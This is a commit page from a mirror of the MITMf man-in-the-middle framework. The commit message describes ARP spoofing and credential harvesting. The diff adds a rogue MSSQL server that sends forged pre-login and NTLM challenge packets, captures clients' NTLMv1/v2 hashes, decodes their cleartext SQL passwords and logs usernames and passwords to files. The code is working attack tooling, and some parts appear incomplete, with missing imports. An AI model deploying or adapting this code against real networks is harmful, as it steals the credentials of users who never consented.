mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 21:13:26 -07:00
This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
This commit is contained in:
byt3bl33d3r
parent
663f38e732
commit
9712eed4a3
92 changed files with 6883 additions and 3349 deletions
167
core/protocols/mssql/MSSQLPackets.py
Normal file
167
core/protocols/mssql/MSSQLPackets.py
Normal file
|
|
@ -0,0 +1,167 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#MS-SQL Pre-login packet class
|
||||
class MSSQLPreLoginAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\x25"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\x00"),
|
||||
("VersionOffset", "\x00\x15"),
|
||||
("VersionLen", "\x00\x06"),
|
||||
("TokenType1", "\x01"),
|
||||
("EncryptionOffset", "\x00\x1b"),
|
||||
("EncryptionLen", "\x00\x01"),
|
||||
("TokenType2", "\x02"),
|
||||
("InstOptOffset", "\x00\x1c"),
|
||||
("InstOptLen", "\x00\x01"),
|
||||
("TokenTypeThrdID", "\x03"),
|
||||
("ThrdIDOffset", "\x00\x1d"),
|
||||
("ThrdIDLen", "\x00\x00"),
|
||||
("ThrdIDTerminator", "\xff"),
|
||||
("VersionStr", "\x09\x00\x0f\xc3"),
|
||||
("SubBuild", "\x00\x00"),
|
||||
("EncryptionStr", "\x02"),
|
||||
("InstOptStr", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
|
||||
|
||||
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
|
||||
|
||||
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
|
||||
|
||||
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
||||
|
||||
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
#Version
|
||||
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
||||
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
|
||||
#Encryption
|
||||
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
|
||||
#InstOpt
|
||||
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
|
||||
#ThrdIDOffset
|
||||
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
|
||||
|
||||
#MS-SQL NTLM Negotiate packet class
|
||||
class MSSQLNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\xc7"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\xed"),
|
||||
("SSPIBuffLen", "\xbc\x00"),
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
##Then calculate
|
||||
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
#AvPairs 6 len is always 00.
|
||||
128
core/protocols/mssql/MSSQLServer.py
Normal file
128
core/protocols/mssql/MSSQLServer.py
Normal file
|
|
@ -0,0 +1,128 @@
|
|||
import struct
|
||||
|
||||
class MSSQLServer():
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
def start(SQL_On_Off):
|
||||
if SQL_On_Off == "ON":
|
||||
t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if SQL_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = True
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
|
||||
def ParseSQLHash(data,client):
|
||||
SSPIStart = data[8:]
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
if NthashLen == 24:
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
||||
responder_logger.info('[+]MsSQL NTLMv1 hash captured from :%s'%(client))
|
||||
responder_logger.info('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
responder_logger.info('[+]MSSQL NTLMv1 Domain is :%s'%(Domain))
|
||||
responder_logger.info('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+NumChal+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
responder_logger.info('[+]MsSQL NTLMv2 hash captured from :%s'%(client))
|
||||
responder_logger.info('[+]MSSQL NTLMv2 Domain is :%s'%(Domain))
|
||||
responder_logger.info('[+]MSSQL NTLMv2 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
responder_logger.info('[+]MSSQL NTLMv2 Complete Hash is : %s'%(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
|
||||
def ParseClearTextSQLPass(Data,client):
|
||||
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
|
||||
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
|
||||
PwdOffset = struct.unpack('<h',Data[52:54])[0]
|
||||
AppOffset = struct.unpack('<h',Data[56:58])[0]
|
||||
PwdLen = AppOffset-PwdOffset
|
||||
UsernameLen = PwdOffset-UsernameOffset
|
||||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
responder_logger.info('[+]MSSQL PlainText Password captured from :%s'%(client))
|
||||
responder_logger.info('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr))
|
||||
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
||||
EncryptionValue = Data[PacketLen-7:PacketLen-6]
|
||||
if re.search("NTLMSSP",Data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#MS-SQL server class.
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
##Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
buffer0 = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if re.search("NTLMSSP",data):
|
||||
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
buffer1 = str(t)
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
##NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
except Exception:
|
||||
pass
|
||||
self.request.close()
|
||||
##################################################################################
|
||||
#SQL Stuff ends here
|
||||
##################################################################################
|
||||
0
core/protocols/mssql/__init__.py
Normal file
0
core/protocols/mssql/__init__.py
Normal file
Loading…
Add table
Add a link
Reference in a new issue